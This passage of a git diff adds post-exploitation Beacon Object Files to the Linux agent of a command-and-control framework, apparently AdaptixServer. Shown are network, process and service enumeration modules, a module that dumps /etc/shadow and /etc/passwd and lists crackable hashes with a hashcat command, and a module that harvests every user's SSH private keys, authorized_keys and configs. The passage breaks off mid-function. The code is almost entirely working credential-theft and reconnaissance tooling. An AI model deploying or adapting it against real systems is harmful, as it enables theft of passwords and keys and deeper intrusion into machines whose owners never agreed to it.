AxReadFileToBuffer(path, &data, 131072); + if (len > 0 && data) { + BeaconPrintf(CALLBACK_OUTPUT, "\n=== %s (%s) ===\n", title, path); + BeaconOutput(CALLBACK_OUTPUT, data, len); + if (data[len - 1] != '\n') + BeaconOutput(CALLBACK_OUTPUT, "\n", 1); + AxFree(data); + } +} + +static void parse_hex_ip(const char *hex, char *out, int out_size) { + // Parse hex IP like "0100007F" → "127.0.0.1" (little-endian) + unsigned int ip = 0; + for (int i = 0; i < 8 && hex[i]; i++) { + unsigned int nibble = 0; + char c = hex[i]; + if (c >= '0' && c <= '9') nibble = c - '0'; + else if (c >= 'A' && c <= 'F') nibble = c - 'A' + 10; + else if (c >= 'a' && c <= 'f') nibble = c - 'a' + 10; + ip = (ip << 4) | nibble; + } + // Convert from network byte order (stored in little-endian hex) + AxSnprintf(out, out_size, "%d.%d.%d.%d", + ip & 0xFF, (ip >> 8) & 0xFF, + (ip >> 16) & 0xFF, (ip >> 24) & 0xFF); +} + +static int hex_to_int(const char *s, int len) { + int val = 0; + for (int i = 0; i < len && s[i]; i++) { + unsigned int nibble = 0; + char c = s[i]; + if (c >= '0' && c <= '9') nibble = c - '0'; + else if (c >= 'A' && c <= 'F') nibble = c - 'A' + 10; + else if (c >= 'a' && c <= 'f') nibble = c - 'a' + 10; + val = (val << 4) | nibble; + } + return val; +} + +static const char *tcp_state_str(int state) { + switch (state) { + case 1: return "ESTABLISHED"; + case 2: return "SYN_SENT"; + case 3: return "SYN_RECV"; + case 4: return "FIN_WAIT1"; + case 5: return "FIN_WAIT2"; + case 6: return "TIME_WAIT"; + case 7: return "CLOSE"; + case 8: return "CLOSE_WAIT"; + case 9: return "LAST_ACK"; + case 10: return "LISTEN"; + case 11: return "CLOSING"; + default: return "UNKNOWN"; + } +} + +static void parse_tcp_connections(const char *path, const char *proto) { + char *data = (char *)0; + int len = AxReadFileToBuffer(path, &data, 524288); + if (len <= 0 || !data) return; + + BeaconPrintf(CALLBACK_OUTPUT, "\n=== %s connections (%s) ===\n", proto, path); + BeaconPrintf(CALLBACK_OUTPUT, " %-6s %-22s %-22s %-15s %-6s\n", + "IDX", "LOCAL", "REMOTE", "STATE", "UID"); + + char *line = data; + int line_num = 0; + + while (line < data + len) { + char *eol = line; + while (eol < data + len && *eol != '\n') eol++; + + line_num++; + if (line_num == 1) { // Skip header + line = eol + 1; + continue; + } + + // Parse: idx: local_addr:port remote_addr:port state ... uid + // Skip leading whitespace + char *p = line; + while (p < eol && (*p == ' ' || *p == '\t')) p++; + + // Find fields by scanning for colons and spaces + // Format: " 0: 0100007F:0035 00000000:0000 0A 00000000:00000000 ..." + // Simple approach: find key hex fields + char *colon1 = AxStrchr(p, ':'); + if (!colon1 || colon1 >= eol) { line = eol + 1; continue; } + + // Local address starts after first ": " + char *local_start = colon1 + 2; + char *local_colon = AxStrchr(local_start, ':'); + if (!local_colon || local_colon >= eol) { line = eol + 1; continue; } + + char local_ip_hex[16]; + int lip_len = (int)(local_colon - local_start); + if (lip_len > 15) lip_len = 15; + AxMemcpy(local_ip_hex, local_start, lip_len); + local_ip_hex[lip_len] = '\0'; + + int local_port = hex_to_int(local_colon + 1, 4); + + // Remote address + char *space_after_local = local_colon + 5; + while (space_after_local < eol && *space_after_local == ' ') space_after_local++; + char *remote_colon = AxStrchr(space_after_local, ':'); + if (!remote_colon || remote_colon >= eol) { line = eol + 1; continue; } + + char remote_ip_hex[16]; + int rip_len = (int)(remote_colon - space_after_local); + if (rip_len > 15) rip_len = 15; + AxMemcpy(remote_ip_hex, space_after_local, rip_len); + remote_ip_hex[rip_len] = '\0'; + + int remote_port = hex_to_int(remote_colon + 1, 4); + + // State (2 hex chars after remote port + space) + char *state_start = remote_colon + 6; + while (state_start < eol && *state_start == ' ') state_start++; + int state = hex_to_int(state_start, 2); + + // Convert IPs + char local_ip[32], remote_ip[32]; + parse_hex_ip(local_ip_hex, local_ip, sizeof(local_ip)); + parse_hex_ip(remote_ip_hex, remote_ip, sizeof(remote_ip)); + + char local_str[40], remote_str[40]; + AxSnprintf(local_str, sizeof(local_str), "%s:%d", local_ip, local_port); + AxSnprintf(remote_str, sizeof(remote_str), "%s:%d", remote_ip, remote_port); + + BeaconPrintf(CALLBACK_OUTPUT, " %-6d %-22s %-22s %-15s\n", + line_num - 1, local_str, remote_str, tcp_state_str(state)); + + line = eol + 1; + } + AxFree(data); +} + +static void parse_arp_table(void) { + char *data = (char *)0; + int len = AxReadFileToBuffer("/proc/net/arp", &data, 65536); + if (len <= 0 || !data) return; + + BeaconPrintf(CALLBACK_OUTPUT, "\n=== ARP table ===\n"); + BeaconOutput(CALLBACK_OUTPUT, data, len); + AxFree(data); +} + +static void parse_dns(void) { + char *data = (char *)0; + int len = AxReadFileToBuffer("/etc/resolv.conf", &data, 8192); + if (len > 0 && data) { + BeaconPrintf(CALLBACK_OUTPUT, "\n=== DNS configuration ===\n"); + // Show only nameserver and search/domain lines + char *line = data; + while (line < data + len) { + char *eol = line; + while (eol < data + len && *eol != '\n') eol++; + int llen = (int)(eol - line); + + if (llen > 0 && line[0] != '#') { + if (AxStrncmp(line, "nameserver", 10) == 0 || + AxStrncmp(line, "search", 6) == 0 || + AxStrncmp(line, "domain", 6) == 0) { + char lbuf[256]; + if (llen > 255) llen = 255; + AxMemcpy(lbuf, line, llen); + lbuf[llen] = '\0'; + BeaconPrintf(CALLBACK_OUTPUT, " %s\n", lbuf); + } + } + line = eol + 1; + } + AxFree(data); + } +} + +void go(char *args, int args_len) { + BeaconPrintf(CALLBACK_OUTPUT, "[*] Network enumeration\n"); + + // Interfaces + dump_file_section("Network interfaces", "/proc/net/dev"); + + // Routes + dump_file_section("Routing table", "/proc/net/route"); + + // IPv6 routes (if present) + dump_file_section("IPv6 routes", "/proc/net/ipv6_route"); + + // ARP + parse_arp_table(); + + // DNS + parse_dns(); + + // TCP connections + parse_tcp_connections("/proc/net/tcp", "TCP"); + + // UDP listeners + dump_file_section("UDP sockets", "/proc/net/udp"); + + // TCP6 + parse_tcp_connections("/proc/net/tcp6", "TCP6"); + + // Listening ports summary + BeaconPrintf(CALLBACK_OUTPUT, "\n=== /etc/hosts ===\n"); + char *hosts = (char *)0; + int hosts_len = AxReadFileToBuffer("/etc/hosts", &hosts, 8192); + if (hosts_len > 0 && hosts) { + BeaconOutput(CALLBACK_OUTPUT, hosts, hosts_len); + AxFree(hosts); + } + + // Hostname + char *hostname = (char *)0; + int hn_len = AxReadFileToBuffer("/proc/sys/kernel/hostname", &hostname, 256); + if (hn_len > 0 && hostname) { + BeaconPrintf(CALLBACK_OUTPUT, "\n[*] Hostname: %s", hostname); + AxFree(hostname); + } + + // Domain + char *domain = (char *)0; + int dm_len = AxReadFileToBuffer("/proc/sys/kernel/domainname", &domain, 256); + if (dm_len > 0 && domain) { + BeaconPrintf(CALLBACK_OUTPUT, "[*] Domain: %s", domain); + AxFree(domain); + } + + BeaconPrintf(CALLBACK_OUTPUT, "\n[*] Network enumeration complete\n"); +} diff --git a/AdaptixServer/extenders/linux_agent/src_agent/bofs/proc_enum.c b/AdaptixServer/extenders/linux_agent/src_agent/bofs/proc_enum.c new file mode 100644 index 000000000..e957d3c09 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/bofs/proc_enum.c @@ -0,0 +1,164 @@ +/// proc_enum.c — BOF: Deep /proc process enumeration (threads, fd, cmdline, maps, cwd) +/// Compile: gcc -c -o proc_enum.o proc_enum.c -include bof_api.h -Os -fPIC +/// Usage: execute bof proc_enum.o + +struct linux_dirent64 { + unsigned long long d_ino; + long long d_off; + unsigned short d_reclen; + unsigned char d_type; + char d_name[]; +}; + +#define DT_DIR 4 + +static int is_digit(char c) { return c >= '0' && c <= '9'; } + +static int str_to_int(const char *s) { + int val = 0; + while (*s >= '0' && *s <= '9') { + val = val * 10 + (*s - '0'); + s++; + } + return val; +} + +static void enum_process(int pid) { + char path[256]; + char buf[4096]; + + // cmdline + AxSnprintf(path, sizeof(path), "/proc/%d/cmdline", pid); + char *cmdline = (char *)0; + int cmdline_len = AxReadFileToBuffer(path, &cmdline, 4096); + + // Replace null bytes with spaces in cmdline + char cmd_display[512]; + cmd_display[0] = '\0'; + if (cmdline_len > 0 && cmdline) { + int dlen = cmdline_len > 500 ? 500 : cmdline_len; + AxMemcpy(cmd_display, cmdline, dlen); + for (int i = 0; i < dlen; i++) { + if (cmd_display[i] == '\0') cmd_display[i] = ' '; + } + cmd_display[dlen] = '\0'; + AxFree(cmdline); + } + + // status — extract key fields + AxSnprintf(path, sizeof(path), "/proc/%d/status", pid); + char *status = (char *)0; + int status_len = AxReadFileToBuffer(path, &status, 8192); + if (status_len <= 0 || !status) return; + + // Parse Name, State, Uid, Gid, Threads, VmRSS + char name[128] = "(unknown)"; + char state[32] = "?"; + int uid = -1, threads = 0; + long vm_rss = 0; + + char *line = status; + while (line < status + status_len) { + char *eol = line; + while (eol < status + status_len && *eol != '\n') eol++; + + if (AxStrncmp(line, "Name:\t", 6) == 0) { + int nlen = (int)(eol - line - 6); + if (nlen > 127) nlen = 127; + AxMemcpy(name, line + 6, nlen); + name[nlen] = '\0'; + } else if (AxStrncmp(line, "State:\t", 7) == 0) { + int slen = (int)(eol - line - 7); + if (slen > 31) slen = 31; + AxMemcpy(state, line + 7, slen); + state[slen] = '\0'; + } else if (AxStrncmp(line, "Uid:\t", 5) == 0) { + uid = str_to_int(line + 5); + } else if (AxStrncmp(line, "Threads:\t", 9) == 0) { + threads = str_to_int(line + 9); + } else if (AxStrncmp(line, "VmRSS:", 6) == 0) { + char *p = line + 6; + while (*p == ' ' || *p == '\t') p++; + vm_rss = 0; + while (*p >= '0' && *p <= '9') { + vm_rss = vm_rss * 10 + (*p - '0'); + p++; + } + } + line = eol + 1; + } + AxFree(status); + + // cwd (readlink via reading /proc/pid/cwd — we read the symlink target) + char cwd[256] = ""; + AxSnprintf(path, sizeof(path), "/proc/%d/cwd", pid); + // Can't readlink without syscall, but we can try exe + AxSnprintf(path, sizeof(path), "/proc/%d/exe", pid); + char *exe = (char *)0; + // exe is a symlink — read via /proc/pid/maps first line or status + // Simplify: just show cmdline + + // Count open FDs + int fd_count = 0; + AxSnprintf(path, sizeof(path), "/proc/%d/fd", pid); + int dirfd = AxOpenDir(path); + if (dirfd >= 0) { + char dirbuf[4096]; + while (1) { + int nread = AxReadDir(dirfd, dirbuf, sizeof(dirbuf)); + if (nread <= 0) break; + int pos = 0; + while (pos < nread) { + struct linux_dirent64 *entry = (struct linux_dirent64 *)(dirbuf + pos); + if (entry->d_name[0] != '.') fd_count++; + pos += entry->d_reclen; + } + } + AxCloseFile(dirfd); + } + + // Output + BeaconPrintf(CALLBACK_OUTPUT, " %-6d %-4d %-20s %-10s thr=%-3d fd=%-4d rss=%-8ld %s\n", + pid, uid, name, state, threads, fd_count, vm_rss, cmd_display); +} + +void go(char *args, int args_len) { + BeaconPrintf(CALLBACK_OUTPUT, "[*] Deep process enumeration\n\n"); + BeaconPrintf(CALLBACK_OUTPUT, " %-6s %-4s %-20s %-10s %-7s %-6s %-10s %s\n", + "PID", "UID", "NAME", "STATE", "THR", "FDs", "RSS(kB)", "CMDLINE"); + BeaconPrintf(CALLBACK_OUTPUT, " %s\n", + "----------------------------------------------------------------------" + "----------------------------------------------"); + + int dirfd = AxOpenDir("/proc"); + if (dirfd < 0) { + BeaconPrintf(CALLBACK_ERROR, "[!] Cannot open /proc\n"); + return; + } + + char dirbuf[8192]; + int total = 0; + + while (1) { + int nread = AxReadDir(dirfd, dirbuf, sizeof(dirbuf)); + if (nread <= 0) break; + + int pos = 0; + while (pos < nread) { + struct linux_dirent64 *entry = (struct linux_dirent64 *)(dirbuf + pos); + + // Only process numeric directories (PIDs) + if (entry->d_type == DT_DIR && is_digit(entry->d_name[0])) { + int pid = str_to_int(entry->d_name); + if (pid > 0) { + enum_process(pid); + total++; + } + } + pos += entry->d_reclen; + } + } + AxCloseFile(dirfd); + + BeaconPrintf(CALLBACK_OUTPUT, "\n[*] %d processes enumerated\n", total); +} diff --git a/AdaptixServer/extenders/linux_agent/src_agent/bofs/service_enum.c b/AdaptixServer/extenders/linux_agent/src_agent/bofs/service_enum.c new file mode 100644 index 000000000..3bda8dd6a --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/bofs/service_enum.c @@ -0,0 +1,301 @@ +/// service_enum.c — BOF: Enumerate running services, systemd units, init scripts +/// Compile: gcc -c -o service_enum.o service_enum.c -include bof_api.h -Os -fPIC +/// Usage: execute bof service_enum.o + +struct linux_dirent64 { + unsigned long long d_ino; + long long d_off; + unsigned short d_reclen; + unsigned char d_type; + char d_name[]; +}; + +#define DT_REG 8 +#define DT_LNK 10 +#define DT_DIR 4 + +static int is_digit(char c) { return c >= '0' && c <= '9'; } +static int str_to_int(const char *s) { + int val = 0; + while (*s >= '0' && *s <= '9') { val = val * 10 + (*s - '0'); s++; } + return val; +} + +static void enum_listening_services(void) { + BeaconPrintf(CALLBACK_OUTPUT, "\n=== Listening services (from /proc/net/tcp) ===\n"); + + char *tcp = (char *)0; + int tcp_len = AxReadFileToBuffer("/proc/net/tcp", &tcp, 524288); + if (tcp_len <= 0 || !tcp) return; + + BeaconPrintf(CALLBACK_OUTPUT, " %-8s %-22s\n", "PROTO", "LISTEN ADDRESS"); + + char *line = tcp; + int line_num = 0; + while (line < tcp + tcp_len) { + char *eol = line; + while (eol < tcp + tcp_len && *eol != '\n') eol++; + + line_num++; + if (line_num == 1) { line = eol + 1; continue; } + + // Find state field (0A = LISTEN) + // Quick scan for "0A" as state + char *p = line; + // Skip to after remote_addr:port (3 colon-delimited fields) + int colons = 0; + while (p < eol && colons < 3) { + if (*p == ':') colons++; + p++; + } + // Skip spaces + while (p < eol && *p == ' ') p++; + // Now at state field — skip port hex + // Actually simpler: look for " 0A " pattern in line + char *state = AxStrstr(line, " 0A "); + if (state) { + // This is a LISTEN socket — extract local address + char *colon1 = AxStrchr(line, ':'); + if (colon1) { + char *local = colon1 + 2; + char *lcolon = AxStrchr(local, ':'); + if (lcolon && lcolon < state) { + // Parse IP and port + char ip_hex[16]; + int ip_len = (int)(lcolon - local); + if (ip_len > 15) ip_len = 15; + AxMemcpy(ip_hex, local, ip_len); + ip_hex[ip_len] = '\0'; + + // Parse hex port + int port = 0; + for (int i = 1; i <= 4 && lcolon[i]; i++) { + int nibble = 0; + char c = lcolon[i]; + if (c >= '0' && c <= '9') nibble = c - '0'; + else if (c >= 'A' && c <= 'F') nibble = c - 'A' + 10; + else if (c >= 'a' && c <= 'f') nibble = c - 'a' + 10; + port = (port << 4) | nibble; + } + + // Parse hex IP (little-endian) + unsigned int ip = 0; + for (int i = 0; i < 8 && ip_hex[i]; i++) { + int nibble = 0; + char c = ip_hex[i]; + if (c >= '0' && c <= '9') nibble = c - '0'; + else if (c >= 'A' && c <= 'F') nibble = c - 'A' + 10; + else if (c >= 'a' && c <= 'f') nibble = c - 'a' + 10; + ip = (ip << 4) | nibble; + } + + BeaconPrintf(CALLBACK_OUTPUT, " %-8s %d.%d.%d.%d:%d\n", + "tcp", + ip & 0xFF, (ip >> 8) & 0xFF, + (ip >> 16) & 0xFF, (ip >> 24) & 0xFF, + port); + } + } + } + line = eol + 1; + } + AxFree(tcp); + + // UDP listeners (all UDP sockets are effectively "listening") + char *udp = (char *)0; + int udp_len = AxReadFileToBuffer("/proc/net/udp", &udp, 524288); + if (udp_len > 0 && udp) { + char *line2 = udp; + int ln = 0; + while (line2 < udp + udp_len) { + char *eol2 = line2; + while (eol2 < udp + udp_len && *eol2 != '\n') eol2++; + ln++; + if (ln > 1) { + char *colon1 = AxStrchr(line2, ':'); + if (colon1) { + char *local = colon1 + 2; + char *lcolon = AxStrchr(local, ':'); + if (lcolon) { + int port = 0; + for (int i = 1; i <= 4 && lcolon[i]; i++) { + int nibble = 0; + char c = lcolon[i]; + if (c >= '0' && c <= '9') nibble = c - '0'; + else if (c >= 'A' && c <= 'F') nibble = c - 'A' + 10; + else if (c >= 'a' && c <= 'f') nibble = c - 'a' + 10; + port = (port << 4) | nibble; + } + if (port > 0) { + unsigned int ip = 0; + char ip_hex[16]; + int ip_len = (int)(lcolon - local); + if (ip_len > 15) ip_len = 15; + AxMemcpy(ip_hex, local, ip_len); + ip_hex[ip_len] = '\0'; + for (int i = 0; i < 8 && ip_hex[i]; i++) { + int nibble = 0; + char c = ip_hex[i]; + if (c >= '0' && c <= '9') nibble = c - '0'; + else if (c >= 'A' && c <= 'F') nibble = c - 'A' + 10; + else if (c >= 'a' && c <= 'f') nibble = c - 'a' + 10; + ip = (ip << 4) | nibble; + } + BeaconPrintf(CALLBACK_OUTPUT, " %-8s %d.%d.%d.%d:%d\n", + "udp", + ip & 0xFF, (ip >> 8) & 0xFF, + (ip >> 16) & 0xFF, (ip >> 24) & 0xFF, + port); + } + } + } + } + line2 = eol2 + 1; + } + AxFree(udp); + } +} + +static void enum_systemd_units(void) { + BeaconPrintf(CALLBACK_OUTPUT, "\n=== Systemd service units ===\n"); + + const char *unit_dirs[] = { + "/etc/systemd/system", + "/usr/lib/systemd/system", + "/lib/systemd/system", + (const char *)0 + }; + + for (int d = 0; unit_dirs[d]; d++) { + int dirfd = AxOpenDir(unit_dirs[d]); + if (dirfd < 0) continue; + + BeaconPrintf(CALLBACK_OUTPUT, " [%s]\n", unit_dirs[d]); + + char dirbuf[8192]; + int count = 0; + while (1) { + int nread = AxReadDir(dirfd, dirbuf, sizeof(dirbuf)); + if (nread <= 0) break; + + int pos = 0; + while (pos < nread) { + struct linux_dirent64 *entry = (struct linux_dirent64 *)(dirbuf + pos); + char *name = entry->d_name; + + // Only show .service files + int nlen = AxStrlen(name); + if (nlen > 8 && AxStrcmp(name + nlen - 8, ".service") == 0) { + BeaconPrintf(CALLBACK_OUTPUT, " %s\n", name); + count++; + } + pos += entry->d_reclen; + } + } + AxCloseFile(dirfd); + + if (count == 0) { + BeaconPrintf(CALLBACK_OUTPUT, " (no .service files)\n"); + } + } +} + +static void enum_init_scripts(void) { + BeaconPrintf(CALLBACK_OUTPUT, "\n=== Init scripts ===\n"); + + int dirfd = AxOpenDir("/etc/init.d"); + if (dirfd < 0) { + BeaconPrintf(CALLBACK_OUTPUT, " /etc/init.d not found\n"); + return; + } + + char dirbuf[4096]; + while (1) { + int nread = AxReadDir(dirfd, dirbuf, sizeof(dirbuf)); + if (nread <= 0) break; + + int pos = 0; + while (pos < nread) { + struct linux_dirent64 *entry = (struct linux_dirent64 *)(dirbuf + pos); + if (entry->d_name[0] != '.') { + BeaconPrintf(CALLBACK_OUTPUT, " %s\n", entry->d_name); + } + pos += entry->d_reclen; + } + } + AxCloseFile(dirfd); +} + +static void enum_running_daemons(void) { + BeaconPrintf(CALLBACK_OUTPUT, "\n=== Running daemons (root processes) ===\n"); + + int dirfd = AxOpenDir("/proc"); + if (dirfd < 0) return; + + char dirbuf[8192]; + while (1) { + int nread = AxReadDir(dirfd, dirbuf, sizeof(dirbuf)); + if (nread <= 0) break; + + int pos = 0; + while (pos < nread) { + struct linux_dirent64 *entry = (struct linux_dirent64 *)(dirbuf + pos); + + if (entry->d_type == DT_DIR && is_digit(entry->d_name[0])) { + int pid = str_to_int(entry->d_name); + if (pid > 0) { + char path[128]; + AxSnprintf(path, sizeof(path), "/proc/%d/status", pid); + char *status = (char *)0; + int slen = AxReadFileToBuffer(path, &status, 4096); + if (slen > 0 && status) { + // Check if UID is 0 + char *uid_line = AxStrstr(status, "Uid:\t"); + if (uid_line) { + int uid = str_to_int(uid_line + 5); + if (uid == 0) { + // Get name + char *name_line = AxStrstr(status, "Name:\t"); + if (name_line) { + name_line += 6; + char *eol = AxStrchr(name_line, '\n'); + if (eol) { + char pname[128]; + int plen = (int)(eol - name_line); + if (plen > 127) plen = 127; + AxMemcpy(pname, name_line, plen); + pname[plen] = '\0'; + + // Get PPID + char *ppid_line = AxStrstr(status, "PPid:\t"); + int ppid = 0; + if (ppid_line) ppid = str_to_int(ppid_line + 6); + + // Only show if PPID is 1 (daemon) or 0 (kernel) + if (ppid <= 1) { + BeaconPrintf(CALLBACK_OUTPUT, " PID %-6d %s\n", pid, pname); + } + } + } + } + } + AxFree(status); + } + } + } + pos += entry->d_reclen; + } + } + AxCloseFile(dirfd); +} + +void go(char *args, int args_len) { + BeaconPrintf(CALLBACK_OUTPUT, "[*] Service enumeration\n"); + + enum_listening_services(); + enum_running_daemons(); + enum_systemd_units(); + enum_init_scripts(); + + BeaconPrintf(CALLBACK_OUTPUT, "\n[*] Service enumeration complete\n"); +} diff --git a/AdaptixServer/extenders/linux_agent/src_agent/bofs/shadow_dump.c b/AdaptixServer/extenders/linux_agent/src_agent/bofs/shadow_dump.c new file mode 100644 index 000000000..e6264bc3e --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/bofs/shadow_dump.c @@ -0,0 +1,98 @@ +/// shadow_dump.c — BOF: Dump /etc/shadow + /etc/passwd for offline cracking +/// Compile: gcc -c -o shadow_dump.o shadow_dump.c -include bof_api.h -Os -fPIC +/// Usage: execute bof shadow_dump.o + +void go(char *args, int args_len) { + if (!BeaconIsAdmin()) { + BeaconPrintf(CALLBACK_ERROR, "[!] Not running as root — cannot read /etc/shadow\n"); + return; + } + + // Read /etc/shadow + char *shadow_data = (char *)0; + int shadow_len = AxReadFileToBuffer("/etc/shadow", &shadow_data, 524288); + if (shadow_len > 0 && shadow_data) { + BeaconPrintf(CALLBACK_OUTPUT, "=== /etc/shadow (%d bytes) ===\n", shadow_len); + BeaconOutput(CALLBACK_OUTPUT, shadow_data, shadow_len); + BeaconOutput(CALLBACK_OUTPUT, "\n", 1); + AxFree(shadow_data); + } else { + BeaconPrintf(CALLBACK_ERROR, "[!] Failed to read /etc/shadow\n"); + } + + // Read /etc/passwd for cross-reference + char *passwd_data = (char *)0; + int passwd_len = AxReadFileToBuffer("/etc/passwd", &passwd_data, 524288); + if (passwd_len > 0 && passwd_data) { + BeaconPrintf(CALLBACK_OUTPUT, "\n=== /etc/passwd (%d bytes) ===\n", passwd_len); + BeaconOutput(CALLBACK_OUTPUT, passwd_data, passwd_len); + AxFree(passwd_data); + } + + // Parse shadow for accounts with password hashes (not ! or * or empty) + char *shadow2 = (char *)0; + int shadow2_len = AxReadFileToBuffer("/etc/shadow", &shadow2, 524288); + if (shadow2_len > 0 && shadow2) { + BeaconPrintf(CALLBACK_OUTPUT, "\n=== Accounts with password hashes ===\n"); + int crackable = 0; + char *line = shadow2; + while (line < shadow2 + shadow2_len) { + // Find end of line + char *eol = line; + while (eol < shadow2 + shadow2_len && *eol != '\n') + eol++; + + // Find first colon (end of username) + char *colon1 = line; + while (colon1 < eol && *colon1 != ':') + colon1++; + + if (colon1 < eol) { + char *hash_start = colon1 + 1; + // Find second colon (end of hash field) + char *colon2 = hash_start; + while (colon2 < eol && *colon2 != ':') + colon2++; + + int hash_len = (int)(colon2 - hash_start); + // Skip locked (!) or disabled (*) or empty accounts + if (hash_len > 2 && *hash_start != '!' && *hash_start != '*') { + // Print username:hash + int uname_len = (int)(colon1 - line); + char uname[256]; + if (uname_len > 255) uname_len = 255; + AxMemcpy(uname, line, uname_len); + uname[uname_len] = '\0'; + + char hash[512]; + if (hash_len > 511) hash_len = 511; + AxMemcpy(hash, hash_start, hash_len); + hash[hash_len] = '\0'; + + // Identify hash type + const char *htype = "unknown"; + if (AxStrncmp(hash, "$1$", 3) == 0) htype = "MD5"; + if (AxStrncmp(hash, "$5$", 3) == 0) htype = "SHA-256"; + if (AxStrncmp(hash, "$6$", 3) == 0) htype = "SHA-512"; + if (AxStrncmp(hash, "$y$", 3) == 0) htype = "yescrypt"; + if (AxStrncmp(hash, "$2b$", 4) == 0) htype = "bcrypt"; + if (AxStrncmp(hash, "$2a$", 4) == 0) htype = "bcrypt"; + + BeaconPrintf(CALLBACK_OUTPUT, " [%s] %s:%s\n", htype, uname, hash); + crackable++; + } + } + + line = eol + 1; + } + + if (crackable == 0) { + BeaconPrintf(CALLBACK_OUTPUT, " (no crackable hashes found)\n"); + } else { + BeaconPrintf(CALLBACK_OUTPUT, "\n[*] %d crackable account(s) found\n", crackable); + BeaconPrintf(CALLBACK_OUTPUT, "[*] Crack with: hashcat -m 1800 hashes.txt wordlist.txt\n"); + } + + AxFree(shadow2); + } +} diff --git a/AdaptixServer/extenders/linux_agent/src_agent/bofs/ssh_keys.c b/AdaptixServer/extenders/linux_agent/src_agent/bofs/ssh_keys.c new file mode 100644 index 000000000..c733c6df7 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/bofs/ssh_keys.c @@ -0,0 +1,214 @@ +/// ssh_keys.c — BOF: Scan all users for SSH private keys, configs, known_hosts +/// Compile: gcc -c -o ssh_keys.o ssh_keys.c -include bof_api.h -Os -fPIC +/// Usage: execute bof ssh_keys.o + +// getdents64 record structure +struct linux_dirent64 { + unsigned long long d_ino; + long long d_off; + unsigned short d_reclen; + unsigned char d_type; + char d_name[]; +}; + +#define DT_DIR 4 +#define DT_REG 8 + +static void scan_ssh_dir(const char *homedir, const char *username) { + char ssh_path[512]; + AxSnprintf(ssh_path, sizeof(ssh_path), "%s/.ssh", homedir); + + int fd = AxOpenDir(ssh_path); + if (fd < 0) return; + + BeaconPrintf(CALLBACK_OUTPUT, "\n[+] User: %s (%s/.ssh/)\n", username, homedir); + + char dirbuf[4096]; + int found_keys = 0; + + while (1) { + int nread = AxReadDir(fd, dirbuf, sizeof(dirbuf)); + if (nread <= 0) break; + + int pos = 0; + while (pos < nread) { + struct linux_dirent64 *entry = (struct linux_dirent64 *)(dirbuf + pos); + char *name = entry->d_name; + + // Skip . and .. + if (name[0] == '.' && (name[1] == '\0' || (name[1] == '.' && name[2] == '\0'))) { + pos += entry->d_reclen; + continue; + } + + char filepath[768]; + AxSnprintf(filepath, sizeof(filepath), "%s/%s", ssh_path, name); + + // Check if it's a private key file + int is_privkey = 0; + if (AxStrcmp(name, "id_rsa") == 0 || + AxStrcmp(name, "id_ed25519") == 0 || + AxStrcmp(name, "id_ecdsa") == 0 || + AxStrcmp(name, "id_dsa") == 0) { + is_privkey = 1; + } + + // Also detect non-standard key names by reading header + if (!is_privkey && entry->d_type == DT_REG) { + char header[64]; + int hfd = AxOpenFile(filepath, 0, 0); + if (hfd >= 0) { + int n = AxReadFile(hfd, header, 63); + AxCloseFile(hfd); + if (n > 30) { + header[n] = '\0'; + if (AxStrstr(header, "PRIVATE KEY") != (char *)0) { + is_privkey = 1; + } + } + } + } + + if (is_privkey) { + // Read and dump the private key + char *key_data = (char *)0; + int key_len = AxReadFileToBuffer(filepath, &key_data, 65536); + if (key_len > 0 && key_data) { + // Check if encrypted + int encrypted = 0; + if (AxStrstr(key_data, "ENCRYPTED") != (char *)0) + encrypted = 1; + + BeaconPrintf(CALLBACK_OUTPUT, " [KEY] %s (%d bytes)%s\n", + name, key_len, encrypted ? " [ENCRYPTED]" : " [UNENCRYPTED]"); + BeaconOutput(CALLBACK_OUTPUT, key_data, key_len); + BeaconOutput(CALLBACK_OUTPUT, "\n", 1); + found_keys++; + AxFree(key_data); + } + } else if (AxStrcmp(name, "authorized_keys") == 0) { + // Show authorized keys (who can login) + char *ak_data = (char *)0; + int ak_len = AxReadFileToBuffer(filepath, &ak_data, 65536); + if (ak_len > 0 && ak_data) { + // Count keys + int nkeys = 0; + for (int i = 0; i < ak_len; i++) { + if (ak_data[i] == '\n') nkeys++; + } + if (ak_len > 0 && ak_data[ak_len - 1] != '\n') nkeys++; + + BeaconPrintf(CALLBACK_OUTPUT, " [AUTH] authorized_keys (%d keys)\n", nkeys); + BeaconOutput(CALLBACK_OUTPUT, ak_data, ak_len); + BeaconOutput(CALLBACK_OUTPUT, "\n", 1); + AxFree(ak_data); + } + } else if (AxStrcmp(name, "known_hosts") == 0) { + unsigned int mode = 0; + long fsize = 0; + if (AxFileStat(filepath, &mode, &fsize, (unsigned int *)0, (unsigned int *)0) == 0) { + BeaconPrintf(CALLBACK_OUTPUT, " [HOSTS] known_hosts (%ld bytes)\n", fsize); + } + } else if (AxStrcmp(name, "config") == 0) { + // SSH config can reveal internal hosts, jump proxies, etc. + char *cfg_data = (char *)0; + int cfg_len = AxReadFileToBuffer(filepath, &cfg_data, 65536); + if (cfg_len > 0 && cfg_data) { + BeaconPrintf(CALLBACK_OUTPUT, " [CONFIG] config (%d bytes)\n", cfg_len); + BeaconOutput(CALLBACK_OUTPUT, cfg_data, cfg_len); + BeaconOutput(CALLBACK_OUTPUT, "\n", 1); + AxFree(cfg_data); + } + } + + pos += entry->d_reclen; + } + } + AxCloseFile(fd); + + if (found_keys == 0) { + BeaconPrintf(CALLBACK_OUTPUT, " (no private keys found)\n"); + } +} + +void go(char *args, int args_len) { + BeaconPrintf(CALLBACK_OUTPUT, "[*] Scanning SSH keys for all users...\n"); + + // Parse /etc/passwd to find home directories + char *passwd = (char *)0; + int passwd_len = AxReadFileToBuffer("/etc/passwd", &passwd, 524288); + if (passwd_len <= 0 || !passwd) { + BeaconPrintf(CALLBACK_ERROR, "[!] Failed to read /etc/passwd\n"); + return; + } + + int users_scanned = 0; + int total_keys = 0; + char *line = passwd; + + while (line < passwd + passwd_len) { + char *eol = line; + while (eol < passwd + passwd_len && *eol != '\n') + eol++; + + // Parse passwd line: username:x:uid:gid:gecos:homedir:shell + int field = 0; + char *username = line; + int username_len = 0; + char *homedir = (char *)0; + int homedir_len = 0; + char *shell = (char *)0; + int shell_len = 0; + char *field_start = line; + + for (char *p = line; p <= eol; p++) { + if (p == eol || *p == ':') { + if (field == 0) { + username = field_start; + username_len = (int)(p - field_start); + } else if (field == 5) { + homedir = field_start; + homedir_len = (int)(p - field_start); + } else if 